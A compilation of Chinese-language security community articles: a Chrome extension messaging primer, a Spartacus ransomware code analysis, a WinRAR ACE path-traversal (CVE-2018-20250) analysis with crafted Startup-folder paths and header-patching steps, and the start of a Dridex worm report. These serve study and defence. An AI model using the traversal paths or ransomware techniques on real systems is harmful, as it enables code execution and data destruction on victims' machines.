functionality of the plug-in is mainly concentrated in the js code, and the js
part can be divided into 5 types of javascript,injected script, content-script, popup js, background js and devtools js.
* injected script is js inserted directly into the page, which is consistent with ordinary js and cannot access any extension API.
* content-script can only access a few limited APIs such as extension and runtime, and can also access dom.
* popup js can access most APIs, except devtools, supports cross-domain access
* background js can access most APIs, except devtools, which supports cross-domain access
* devtools js can only access some APIs such as devtools, extension and runtime, and can access dom
JS | Is it accessible to the DOM | Is it accessible to JS | Is it cross-domain
---|---|---|---
injected script | accessible | accessible | no
content script | accessible | no | no
popup js | Not directly accessible | No | Yes
background js | Not directly accessible | No | Yes
devtools js | accessible | accessible | no
Similarly, for these kinds of js, we also need a special way to debug
* injected script: F12 can debug
* content-script: select the corresponding domain in F12 console
* popup js: there is a review popup in the right-click list of plugins
* background js: Need to click the background page in the plugin management page and debug
# Communication
After introducing various types of JS, we mentioned that an important issue is
that in most JS, there is no permission to access JS, including the more
critical content script.
So how does the plug-in communicate with the browser foreground and each
other?
- | injected-script | content-script | popup-js | background-js
---|---|---|---|---
injected-script | - | window.postMessage | - | -
content-script | window.postMessage | - | chrome.runtime.sendMessage
chrome.runtime.connect | chrome.runtime.sendMessage chrome.runtime.connect
popup-js | - | chrome.tabs.sendMessage chrome.tabs.connect | - |
chrome.extension. getBackgroundPage()
background-js | - | chrome.tabs.sendMessage chrome.tabs.connect |
chrome.extension.getViews | -
devtools-js | chrome.devtools.inspectedWindow.eval | - |
chrome.runtime.sendMessage | chrome.runtime.sendMessage
## popup 和 background
The fields popup and background can directly call js and access the dom of the
page.
Popup can use `chrome.extension.getBackgroundPage ()` to get the object of the
background page, and background can use `chrome.extension.getViews ({type:
'popup'})` to get the object of the popup page.
// background.js
function test()
{
alert('test');
}
// popup.js
var bg = chrome.extension.getBackgroundPage();
bg.test();
alert(bg.document.body.innerHTML);
## popup\background 和 content js
The way of communication between popup \ background and content js mainly
relies on `chrome.tabs.sendMessage` and`chrome.runtime.onMessage.addListener`,
which are communication methods about event listening.
The sender uses `chrome.tabs.sendMessage`, and the receiver
uses`chrome.runtime.onMessage.addListener` to listen for events.
chrome.runtime.sendMessage({greeting: 'sender！'}, function(response) {
console.log('res：' + response);
});
receiver
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse)
{
console.log(request, sender, sendResponse);
sendResponse('req：' + JSON.stringify(request));
});
## injected script & content-script
Because the injected script is equivalent to the js executed in the page, it
does not have permission to access the chrome object, so their direct
communication method is mainly realized by using `window.postMessage` or
through DOM events.
in injected-script：
window.postMessage({"test": 'test！'}, '*');
in content script：
window.addEventListener("message", function(e)
{
console.log(e.data);
}, false);
## popup\background inject js
There is no way to directly access the page DOM in popup \ background, but you
can execute the script through `chrome.tabs.executeScript` to achieve the
operation of the page DOM.
Note that this operation requires page permissions
"permissions": [
"tabs", "http://*/*", "https://*/*"
],
js
chrome.tabs.executeScript(tabId, {code: 'document.body.style.backgroundColor="red"'});
chrome.tabs.executeScript(tabId, {file: 'some-script.js'});
## chrome.storage
The chrome plugin also has special storage locations, including chrome.storage
and chrome.storage.sync. The differences are:
* chrome.storage is global for the plugin, and the data saved in various locations of the plugin will be synchronized.
* chrome.storage.sync automatically syncs according to the account, different computers log in to the same account will be synchronized.
To access this API, the plugin needs to declare storage permissions in
advance.
# Summary
This article mainly describes a lot of introductory knowledge about the Chrome
ext plugin. Before talking about the security issues of Chrome ext, we may
need to understand some issues about Chrome ext development.
In the next article, we will discuss the security issues of multiple
dimensions of Chrome ext. In a modern browser system, what kind of security
issues Chrome ext may bring.
# References
* <https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html>
* <https://developer.chrome.com/extensions/content_scripts>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# Spartacus勒索软件：一个充满教育意义的勒索软件
##### 译文声明
本文是翻译文章，文章来源：https://blog.malwarebytes.com/
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/04/spartacus-introduction-unsophisticated-ransomware/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
最近我们发现一款名为Spartacus勒索新病毒。软件主要用C＃编写，可是原始样本是被混淆的，所以只有我们将其提取到可读状态时才可以继续分析。
可以讲Spartacus是一个相对简单的勒索软件，它使用了一些类似ShiOne,
Blackheart和Satyr的技术和代码，这我们在过去曾研究过的。然而，这些样本和参与者之间并没有确定的关系。我提到它仅仅是为了表明它们有相似的功能。不要多想。
在分析在Satyr和Blackheart的时候，我们发现他俩代码几乎完全相同，Spartacus也只是做了一些修改。如果非我要做一个假设的话，我会说他们要么是出于一人之手，要么他们使用相同的代码。但是，现在还没有证据证明这一点。
一般来说，我们注意到一有NET勒索软件出现了，它们都差不多是一样的或者相似的。这仅仅是罪犯创造的一种简单的赎金形式，因为它不需要花费太多的时间或脑力。
Spartacus没有什么特别之处。那么我们为什么要写关于Spartacus的分析，我想最主要原因那应该是可以用来作为分析基本的.NET勒索软件的基础知识吧！
本文将详细了解代码，并了解如何将混淆的.NET示例转化为可读状态。
## Spartacus
在开始之前，我想提一下Spartacus加密方法的一个特点。Spartacus首先生成了一个独特的密钥，用于对[Rijndael](https://blog.finjan.com/rijndael-encryption-algorithm/)算法进行加密。(Rijndael算法是AES的一个版本。)
该密钥被保存并用于加密每个文件，这意味着两个相同的文件将具有相同的密码文本。AES密钥使用嵌入在文件中的RSA密钥进行加密。密码文本被编码并显示给用户在勒索信中。
RSA密钥被静态地嵌入到勒索软件中，这意味着私钥存在于勒索软件作者系统的服务器端。因此，如果所有AES密钥被泄漏，则可以使用此密钥解密所有受害者的所有AES密钥。由于这个勒索软件并不十分复杂，我们将直接进行深入的技术分析和代码演练。
### 拆包
当我们首次打开ILSpy的Spartacus样品时,我们看到这样的结果：
这些函数的代码是不可见的，正如你所看到的，所有的东西都是混淆的。一般在这种情况下，我喜欢使用de4dot工具。它将处理文件并输出可读版本。-r标志是您设置目录的位置，其中包含混淆的.NET示例。
这给了我们清晰的版本，我们将在接下来的分析中使用它。
### 分析
让我们从下面显示的Main函数开始。
它首先要确保系统上只运行该恶意软件的一个实例。这是通过CheckRunProgram函数来实现，除此之外，它还创建一个互斥锁并确保它是唯一的。
检查完成后，它会在一个线程中执行
smethod_3。在调用smethod_3开始之前，这个类的构造函数会自动调用，并设置所有私有成员（变量），其中包含要搜索和加密的所有特殊文件夹。它还使用KeyGenerator.GetUniqueKey（133）函数生成对受害者来说唯一的AES密钥。并在勒索软件中被引用以开始文件夹遍历。特殊文件夹可以在下面查看
我提到的keygen函数是GetUniqueKey（），本质上，它只是使用RNGCryptoServiceProvider.GetNonZeroBytes
API函数创建一系列加密的强随机数。然后它使用该系列的随机数作为字符集
array =“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”的
索引来构建一个唯一的字符串。这是AES密钥，它将加密所有运行的文件。
现在该类的构造函数已经启动了，让我们来看看被调用的smethod_3 函数。
该功能对在构造函数中生成的特殊文件夹列表进行迭代，并开始使用smethod_6函数对文件夹中的每个文件进行递归遍历加密。这里要注意的一点是，加密循环不会区分文件类型或特殊文件。也就是说它会加密所有的东西。此外，还可以看到这里调用了smethod_1函数。但这可能是程序员的一个错误，因为它在程序的任何地方都没有使用。正如我前面提到的，smethod_6函数是执行加密的函数，smethod_5函数是一个递归函数，它将深入到任何位置的每个子文件夹中，然后在每个迭代中调用smethod_6来加密该子文件夹中的文件。
正如您所看到的，它会自行调用，以便最终覆盖每个子文件夹。然后它调用smethod_6来执行加密，循环遍历该文件夹中的每个文件。
此方法迭代当前文件夹中的所有文件。唯一的判断是否该文件加密。它只是确保扩展它确保扩展是不是.Spartacus:
`if (Path.GetExtension(text) == ".Spartacus")
{
return;
}`
如果这个检查通过，它调用smethod_7对加密的版本执行文件内容重写。
该函数调用smethod_0，它对原始文件数据进行加密，然后接下来的两行代码将加密的数据写入文件中，并使用.Spartacus扩展名对其进行重命名。提示：每个文件都使用相同的密钥加密，这个勒索软件不会将加密的AES密钥写入文件中，我们在其他的勒索软件中看到，它们执行唯一的文件加密。
正如你在这里看到的，它使用Rijndael方法—使用ECB模式的AES。在构造函数中生成的密钥是用MD5散列的，而这实际上是用作密钥本身的密钥。现在我们已经完成了在主文件系统上进行文件加密的整个过程，通过在父函数smethod_3中调用的所有子函数。现在让我们回到主函数到下一行，它调用smethod_4（）：
smethod_4基本上执行与smethod_3中所看到的完全相同的一组递归函数调用，但是，它不是循环访问特殊文件夹，而是遍历所有连接到系统的逻辑驱动器。因此，所有外部或映射的驱动器也将被加密。
我们现在不需要遍历所有这些细节，因为我们已经讨论了它们的功能，因为它们与前面的函数调用是相同的。我唯一要提到的是smethod_6被调用两次。这样做很可能通过在两个线程上运行来加速加密。
回到main：下一个也是最后一个重要的函数调用是：
`Application.Run（new Form1（））;`
这将向用户显示赎金记录并在赎金记录中显示加密的AES密钥。
它首先调用smethod_1()。正如我上面提到的，这只是简单地使用AES键，它是在开始时生成的，并使用硬编码的公共RSA密钥对其进行加密。
`public static string smethod_1()
{
return
Convert.ToBase64String(Class1.smethod_2("<RSAKeyValue><Modulus>xA4fTMirLDPi4rnQUX1GNvHC41PZUR/fDIbHnNBtpY0w2Qc4H2HPaBsKepU33RPXN5EnwGqQ5lhFaNnLGnwYjo7w6OCkU+q0dRev14ndx44k1QACTEz4JmP9VGSia6SwHPbD2TdGJsqSulPkK7YHPGlvLKk4IYF59fUfhSPiWleURYiD50Ll2YxkGxwqEYVSrkrr7DMnNRId502NbxrLWlAVk/XE2KLvi0g9B1q2Uu/PVrUgcxX+4wu9815Ia8dSgYBmftxky427OUoeCC4jFQWjEJlUNE8rvQZO5kllCvPDREvHd42nXIBlULvZ8aiv4b7NabWH1zcd2buYHHyGLQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>",
Encoding.UTF8.GetBytes(Class2.smethod_0())));
}`
RSA密钥被硬编码并嵌入到勒索软件中，这意味着作者已经预先生成了私钥。然后迭代所有驱动器并在那里写入赎金记录。最后，它打开了勒索信，显示了信息和加密的AES密钥，这将被受害者用于解密。
在完成所有这些之后，它所做的最后一件事就是调用smethod_0，删除阴影卷以防止用户用作Windows还原点。
## 最后
这个勒索软件是完全离线的因为没有任何网络通信可以追溯到作者或任何C2服务器。勒索软件的作者不知道他感染了谁，直到他们用他们的个人ID给他发电子邮件，这是AES键。这也意味着，作者将发送的解密工具很可能嵌入了AES键，当然，它将是受害者才有的。这个样本没有特别的或创新的，但这并不意味着它不是危险的。它还会在没有解密的情况下继续工作。如果你意识到自己正在遭受这种恶意软件攻击，唯一可能的办法就是执行进程内存转储，在这种情况下，从内存中提取密钥的可能性很小。一般来说，在杀死进程之前，尽可能在系统上执行任何恶意软件的内存转储是一个好方法，因为有些密钥可能会被恢复。 | 社区文章 |
# winrar 目录穿越漏洞分析
## 漏洞描述
Check
Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinRAR解压该恶意文件时便会触发漏洞。
漏洞是由于 WinRAR 所使用的一个06遍编译出来的动态链接库UNACEV2.dll所造成的，动态链接库的作用是处理 ACE
格式文件。而WinRAR解压ACE文件时，由于没有对文件名进行充分过滤，导致其可实现目录穿越，将恶意文件写入任意目录，甚至可以写入文件至开机启动项，导致代码执行。
CVE 编号为CVE-2018-20250，受影响的版本包括
winrar <5.70 Beta
BandZip <= 6.2.0.0
好压 <= 5.9.8.10907
360压缩 <4.0.0.1170
## 漏洞分析
将UNACEV2.dll拖进IDA进行分析。根据[poc](https://research.checkpoint.com/extracting-code-execution-from-winrar/)，直接定位到漏洞代码`0x40CB48`。
可以看到该函数首先是对输入的`relative
paht`进行了一遍预处理。
如上图所示，称这部分为`Clean_Path`，输入的处理包含以下部分：
1. 当路径以`\\`开头时，且路径中还包含两个`\`，会将中间部分忽略掉。这部分本意可能为处理smb文档的代码，如`\\10.10.10.10\smb_folder_name\some_folder\some_file.txt`路径会被处理为`some_folder\some_file.txt`
2. 当路径以`*:\`开头时，忽略`*:\`。这部分本意可能为忽略盘符，如`C:\some_folder\some_file.txt`会被处理为`some_folder\some_file.txt`。
3. 当路径包含`\..\`时，忽略`\..\`。这部分本意可能为忽略回溯路径，以防止目录穿越。
4. 当路径开头为`*:*`且路径不为`*:\`时，忽略`*:`。这部分本意不知道，感觉可能为某种文件路径格式。
5. 主要为以上四种目录筛选，根据poc中描述，不知什么原因如果路径开头为`C:\C:`也会忽略。
继续往下看，一个名为`GetDevicePathLen`的函数，如果该函数返回非0值，则会将空字符赋值给变量，否则会将文件夹的路径赋值给变量，最终使用`sprintf`函数将文件目录最终形成。
相应的代码为：
if ((GetDevicePathLen(file_path))
var1=&empty_string
else
var1=add_slash(&dest_dir_path)
sprintf(final_file_path,"%s%s",var1,file_path)
此处便是漏洞的形成点。漏洞的形成原理是如若能伪造文件路径使得`GetDevicePathLen`函数返回非0值，则该文件路径会被当成绝对路径而不是相对路径，从而解压的时候实现任意目录写。
如果`file_path`为`C:\some_folder\1.txt`且使得`GetDevicePathLen`返回非0，则会将txt解压到相应目录`C:\some_folder\1.txt`。
现在的问题就转移至如何构造文件路径使得`GetDevicePathLen`返回非0。跟进该函数查看代码：
_BYTE *__usercall __spoils<ecx> GetDevicePathLen@<eax>(_BYTE *path@<eax>)
{
_BYTE *path_ptr; // ecx
_BYTE *slash_pos; // eax
int v3; // ecx
path_ptr = path;
slash_pos = 0;
if ( *path_ptr == '\\' )
{
if ( path_ptr[1] == '\\' )
{
slash_pos = strchr(path_ptr + 2, '\\');
if ( slash_pos )
{
slash_pos = strchr(slash_pos + 1, '\\');
if ( slash_pos )
slash_pos = &slash_pos[-v3 + 1]; //注释A
}
}
else
{
slash_pos = (_BYTE *)1; //注释B
}
}
else if ( path_ptr[1] == ':' )
{
slash_pos = (_BYTE *)2; //注释C
if ( path_ptr[2] == '\\' )
slash_pos = (_BYTE *)3; //注释D
}
return slash_pos;
}
代码总结为：
* 注释A： 如果路径开头为`\\`且路径中仍还包含多的两个`\`则返回第四个斜杆与开头的差距。如`\\LOCALHOST\some\some_folder\some_file.txt`返回值为17。
* 注释B：如果路径以`\`开头，且不以`\\`开头，则返回1。如`\some_folder\some_file.txt`返回值为1。
* 注释C：如果路径以`*:`开头，且不以`*:\`开头，则返回2。如`C:some_folder\some_file.txt`返回值为2。
* 注释D：如果路径以`*:\`开头，则返回3。如如`C:\some_folder\some_file.txt`返回值为3。
至此代码分析完毕，可以看到漏洞原理主要为可构造预期文件路径使得`GetDevicePathLen`返回非0，从而实现目录穿越。
## 漏洞利用
如何利用漏洞，首先要解决的是如何实现任意目录的解压。
具体来说可以使用`C:\some_folder\some_file.txt`文件路径使的`GetDevicePathLen`返回非0。但是，由于函数一开始存在一个`Clean_Path`函数，如目录为`C:\some_folder\some_file.txt`，则会被处理为`some_folder\some_file.txt`。
绕过该处理的方法为将目录更改为：`C:C:\some_folder\some_file.txt`，根据`Clean_Path`处理部分的第四条，该路径会被处理成`C:\some_folder\some_file.txt`，从而实现了目录穿越。
同时也可实现对smb共享文件夹的攻击，如目录`C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.txt
=>
\\10.10.10.10\smb_folder_name\some_folder\some_file.txt`，根据根据`Clean_Path`处理部分的第二条，将会被处理成`\\10.10.10.10\smb_folder_name\some_folder\some_file.txt`，实现共享文件的目录穿越。
到这里目录穿越的原理已经解释清楚，下一个问题是如何利用。实际利用有一个局限性，就是需要知道相应解压目录的具体目录，不能使用回溯路径。利用的方法为主要有两个：
* 一个是将文件解压至开机自启动目录。
* 一个是实现dll劫持。
关于开机自启动目录，主要有两个：
1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
2. C:\Users\$user_name\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
第一个需要管理员权限，路径是固定的，但是实施攻击的条件较高；第二个则不需要管理员权限，但是需要知道相应的用户名称，可能需要爆破。
poc中也提到了唯一一个可以不使用用户名的方式，那就是使用`C:\C:C:../AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\some_file.exe`路径。该路径的主要方式根据`Clean_Path`处理部分的第五条，得到`C:../AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\some_file.exe`，这个目录是假设用户解压的路径一般为`C:\Users\$user_name\Desktop`或者`C:\Users\$user_name\Downloads`，此时的`C:../`便会回溯至`C:\Users\$user_name\`目录，所以可以顺利解压至`C:\Users\$user_name\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup`目录。
另一个利用方法是`dll劫持`，覆盖相应dll文件等，具体可搜索了解实现方式。
## 利用实现
python有一个ace文件解析的模块[acefile](https://pypi.org/project/acefile/)，基于该模块源码，了解ace文件格式，即可实现相应的路径修改。
手动实现过程为：
1. 首先使用[WinACE](https://web.archive.org/web/20170714193504/http:/winace.com:80/)创建一个acefile文件，选择store full path。
2. 使用acefile查看该文件头格式。
3. 修改文件路径，我这里使用的是Winhex。把路径修改成了`C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe`
4. 修改hdr_size以及hdr_crc以及路径长度。只修改文件名使用acefile去解析是会报错的，整个头部的size也发生了变化，因为文件路径长度发生了变化，也需要修改，由之前的`71-->111`；还需要修改路径长度，因为路径发生了变化，由之前的`0x28->0x50`；在acefile.py检查hdr_crc的地方加打印出crc的代码，可以得到正确crc(crc修改过很多次，图片为最后一次修改的)；
最终修改前与修改后的对比如下，修改前winhex里显示为：
修改后的字节为：
1. 解压实现攻击。
将上述步骤最终实现了一个自动化的脚本，还有相关的脚本也放在了我的[github](https://github.com/ray-cp/Vuln_Analysis/tree/master/CVE-2018-20250-winrar-code-execution)。
## 参考链接
[winace](https://web.archive.org/web/20170714193504/http:/winace.com:80/)
[acefile](https://pypi.org/project/acefile/#files)
[Extracting a 19 Year Old Code Execution from
WinRAR](https://research.checkpoint.com/extracting-code-execution-from-winrar/) | 社区文章 |
作者：启明星辰ADLab
#### 一、分析简述
2017年8月底，启明星辰ADLab监测到客户的一个IP地址频繁地向多个邮箱地址发送邮件同时利用弱口令方式扫描内网，经过分析确认该攻击的始作俑者为P2P银行窃密型蠕虫
---Dridex的新型变种(由于该蠕虫不同版本均有一个或多个名称，为了便于描述，本文统称为Dridex蠕虫)。Dridex也被称为Bugat/Cridex/Feodo/Emotet/
Heodo。该蠕虫通过利用其所感染的大量主机结合P2P的去中心化设计思想，构建出了一个复杂而隐蔽的用于中转流量的P2P蠕虫代理网络，不仅如此，为了隐藏那个背后控制着这一切的幽灵，该蠕虫实现上还在P2P网络与控制端服务器之间加了一层壁垒(后端C&C，见后文分析)。
Dridex蠕虫除了拥有复杂P2P控制机制外，还是一款以窃取银行账户凭证为目的，集僵尸、窃密木马、邮件蠕虫等众多功能于一体的综合性蠕虫病毒。为了更好地分析和掌握该蠕虫新变种的攻击动向，我们对其进行了长期的追踪和分析。
Dridex蠕虫的新型变种通过P2P、多层代理、快速变异、内外网双渠道感染、RSA-AES通信加密等技术变得比以往任何时候都强大。新变种除了具备以往Dridex以邮件方式传播外，还具备内网传播的功能，扩大感染面。并且为了与安全软件对抗，新变种会频繁的更新组件并且利用多种免杀打包器对其进行加密变形处理，每隔1个小时左右便会从远程进行自我更新。更新后的模块不仅加密免杀方式不同，而且编译时间、程序图标、二进制代码都会发生改变，通过不断变换加密混淆器的方式来对样本文件进行频繁更新以躲避安全软件查杀。下图是部分自我更新的变种样本：
图1-1变种样本样例
此外，通过对样本代码及通信流量的解密分析发现，当前变种Dridex几乎每个样本都会内置10个左右的C&C，其中大部分C&C只是由感染机转化而来作为代理使用，并非真实C&C。通过长时间的追踪分析，我们发现了221台这样的C&C服务器(加上无法辨识的新旧版本的C&C共有1175个，主要使用80、443、7080、8080、8081端口作为服务端口)，以及上千个受感染的主机和大量受害者的邮箱登录凭证信息。此处需要说明的是，这些作为数据回传的C&C实际上大部分并非为真正的C&C服务器，而是受Dridex感染并且被利用来作为代理节点的受害者服务器。
图1-2和图1-3是由我们根据Dridex的C&C归属地绘制的分布地图：
图1-2受害者感染地图分布
图1-3 C&C按国家或地区分布
从分布图中可以看出，该蠕虫病毒的C&C（大部分是受害者服务器）主要分布在美国、德国、法国和加拿大。虽然该蠕虫长期以欧美等国家为目标，但通过分析我们发现有很多中国区用户也受到了该蠕虫的攻击，甚至还存在有一定数量的中国区受害者服务器目前或者曾经被该蠕虫用作回传窃密信息的中转服务器。这些服务器IP地址及归属地如图1-4所示：
图1-4 部分被用作回传窃密信息的中转服务器
#### 二、Dridex蠕虫网络架构分析
该蠕虫病毒的网络架构被设计来隐藏黑客真实的C&C服务器，其呈现出四层的网络架构，其中第一层(普通感染末端)由大量的普通感染机组成，第二层为复杂P2P代理网络层，第三层为前端C&C，第四层为黑客真实的C&C据点
--后端C&C。
Dridex简单网络架构图示如下：
图2-1 Dridex网络架构图
如上图所示，第二层的代理主机实际上也是受到Dridex攻击的受感染机，Dridex利用去中心化的技术（P2P技术）来为后端C&C做掩护。Dridex一旦感染上一台主机后，会根据感染机特性(是否是服务器、是否处在公网中等条件)选取一部分感染主机作为其P2P网络的一个代理节点。这些代理节点会直接转发流量给C&C前端服务器，最后通过C&C前端将数据汇总到C&C后端服务器。
第三层的前端C&C实际上是一台由黑客成功入侵并控制的linux或者windows服务器主机，此服务器上开启了Nginx
Servers服务用来作为HTTP代理，这些代理主要以8080端口或者443端口作为代理连接口。前端C&C并不承载任何功能，其唯一的目的就是作为Dridex蠕虫P2P代理节点与后端C&C之间数据通信的中转站用于转发数据。
Dridex蠕虫的第四层(后端C&C)才是黑客实际控制端C&C服务器，其在前端代理C&C背后实现命令控制、扩展组件下发、接收回传的窃密信息等功能。
Dridex背后的黑客通过在大量感染机中选择处于外网的主机作为P2P代理节点，这些节点组成了Dridex蠕虫第二层的P2P代理网络。P2P代理网络的每台主机IP地址都是由后端C&C所管理，并且随机选择10-20个IP作为C&C列表下发给新更新的Dridex样本使用，同时也可能下发给新感染的主机使用。每个被感染的主机内存中都会存在一个Loader模块来用于收集本机信息实现上线，上线数据用于确定该感染机是服务器、处于外网的普通PC还是处于内网的普通PC等等，以此来决定该感染机的用途。之后Loader会不断轮询试探后端C&C来执行相应的功能，如下载各种窃密组件、服务组件、内网感染组件、外网感染组件等等。下载内网感染组件和外网感染组件分别用于蠕虫的内外网的自我传播。
Dridex蠕虫工作原理图如下：
图2-2 Dridex蠕虫工作原理图
此蠕虫病毒具有以下几大特点：
采用P2P方式将部分符合条件的感染机作为代理节点（伪C&C），样本的功能组件下载、恶意邮件群发、银行凭证窃取与上传、浏览器网页登录凭证窃取与上传、邮箱登录凭证窃取与上传等功能均采用不同代理点来传输。
后端C&C隐藏在P2P代理节点和前端C&C之后，难以追踪和发现真正的C&C服务器。
新型变种有极快的更新速度，在实际分析中发现频率最高的时候1个小时就更新一次，每次的样本名称、图标、采用的混淆机制、免杀机制都有较大的改变。
Dridex新变种背后的黑客拥有强大的自动化平台工具，通过自动随机选择免杀混淆壳处理更新样本下发给Loader执行。
双管齐下的内外网感染模式，一种是通过弱口令方式感染局域网主机并在远程主机上创建服务；另一种是通过从C&C下载黑客收集的大量电子邮箱登录凭证登录并向指定的大批量邮件地址发送带有Dridex恶意代码的邮件。
完整的闭环感染模式以完成自动化的扩散，如收集邮箱凭证下发给感染主机用于向目标发送恶意邮件，一旦新的接收者感染该蠕虫后，又会继续收集邮箱凭证给C&C，同时局域网感染将加速这个过程的进行。
#### 三、Dridex历史回溯
Dridex前身Cridex的最早版本于2011年9月被发现，在升级为Dridex后不断演变成多个版本的综合性蠕虫。其曾经发起过多次大规模的攻击行为，并且造成了非常严重的危害，下图我们列举了近几年来的一些关键事件。
图3-1 Dridex历史事件时间线
2014年7月，Seculert公司的安全研究员发现Dridex窃取了至少5万个邮箱的登录账号和密码信息列表，此时Dridex主要以感染德国和波兰为主，其他感染过的国家有奥地利、美国、瑞士、英国、意大利、荷兰等。
2015年5月，Dridex开始将js脚本文件作为邮件传播附件进行大面积传播，该js脚本文件用于下载Locky勒索软件执行。
2015年8月，经相关安全机构分析统计，在2015年间不到一年的时间里，Dridex已经入侵了横跨27个国家的成千上万家企业，并且已经导致英国2千万英磅(当时合3050万美元)以上的经济损失，以及美国1千万美金的经济损失。
2015年8月14日，FBI联合安全厂商捣毁了Dridex服务器并逮捕了一名Dridex幕后操控者。
2016年2月4日，Dridex发生了一次戏剧性事件，那就Dridex蠕虫病毒后端服务器疑被白帽子入侵，所有下载的模块被替换成了Avira杀毒软件。
2016年9月6日，安全研究人员发现新的Dridex变种开始用于窃取虚拟货币如比特币钱包。
2017年4月，Proofpoint研究人员观测到数百万次Dridex蠕虫攻击，其攻击手法与从前的攻击相似，同样通过邮件携带附件的形式进行疯狂的传播，只是新的攻击中添加了通过ZIP打包的vb脚本文件、PDF文件和可执行的PE文件。
2017年5月10日，Dridex蠕虫变种使用了原子注入技术发动攻击，以躲避安全产品的查杀。
2017年12月12日，前英国银行员工植入Dridex蠕虫帮助两位黑客洗钱，担任洗钱黑客的私人信托经理，利用伪造的身份证件开设了多达105个账户，汇款与转账超过250万英镑。
#### 四、Dridex演化过程分析
##### 4.1、传播渠道演变
Dridex前身Cridex的最早版本于2011年9月被发现。从最初的单纯以U盘作为传播媒介渐渐地发展为以邮件作为媒介，以office、pdf文档、js脚本作为载体进行自我传播，最后发展为以内外网双渠道传播，其中内网采用弱口令进行传播，外网仍然采用邮件进行传播。
图4-1 Dridex蠕虫传播渠道演变
##### 4.2、配置数据的演变
图4-2 Dridex蠕虫配置数据演变
Dridex与C&C通信都是通过特定的格式配置文件作为载体，从初期的版本开始这些配置文件都是经过加密传输的。之前所有版本的配置文件几乎都是以xml文件的形式存在，在我们发现的最新变种中这种长期使用的方式已被摒弃，进而直接采用纯加密二进制数据来进行传输。2011年，
Dridex主要通过动态的二进制xml文件更新C&C以及指定攻击的目标的指定；到2012年，Dridex0.77-0.80版本开始使用加密的明文xml文件作为C&C控制指令的下发并且加入web注入的功能；2014年初，Dridex1.10版本在xml配置文件中加入js脚本重定向功能；2017年，新一代的变种开始放弃xml配置文件，直接采用加密的二进制数据进行通信。
##### 4.3、功能与技术演变
Dridex蠕虫自2011年被首次发现后经历了6年的发展，其功能模块也随着网络安全大环境逐步演化。如图4-3，根据时间关系简单列出了Dridex这些年来的典型技术变化趋势。
图4-3 Dridex蠕虫功能与技术演变
2011年，Dridex蠕虫的扩散方式以USB感染为主，通过USB进行扩散。随着安全产品重点关注接入电脑中的U盘及网民安全意识的提升，USB感染方式在2012年被废弃。之后，Dridex背后的犯罪团伙开始专注于新的扩散方式和功能模块的开发，2015年Dridex携带着大量恶意功能模块卷土重来，如：VNC模块、屏幕截图模块、代理模块、中间人模块、键盘记录模块、Web注入模块。Dridex在2015年名噪一时，后经历FBI打击进入短时间沉寂，2016年Dridex利用原子注入技术绕过安全软件查杀，通过DNS缓存投毒对感染机投放钓鱼链接，并引入了更丰富的对抗模块，把安全研究人员和安全厂商的电脑信息列入黑名单，以此来躲避安全厂商和安全研究人员的分析。2017年，Dridex利用Windows默认的恢复光盘程序recdisc.exe绕过UAC，通过第三方工具窃取感染机上的凭证信息，如：浏览器密码，邮箱账号信息。最新的变种开始取消邮件传播中的附件，加入局域网感染功能，将反沙箱功能从之前宏中实现改变为了PE实现，使用加密混淆器实现快速自动化的变异，Dridex在长期演变过程中正变得越来越强大。
#### 五、典型样本剖析
我们当前所发现的Dridex变种是采用混淆免杀器进行处理，同时也将反沙箱、反调试的功能从先前的宏代码区移到了二进制PE文件中。免杀器通过两层内嵌的PE加密数据将真实的Loader代码隐藏起来。Loader由免杀器加载执行后，会收集本机信息作为上线信息向C&C服务器请求控制指令，C&C服务器会根据需要下发各种模块执行。其中，局域网感染模块通过局域网扫描将Loader作为感染实体进行传播；邮件模块会将原始带有恶意宏的office文档作为附件进行传播；窃密模块由多个具有窃密功能的模块组成，主要用于窃取邮箱登录凭证、浏览器网站登录凭证等信息。
图5-1 Dridex蠕虫模块执行图
##### 5.1、Loader分析
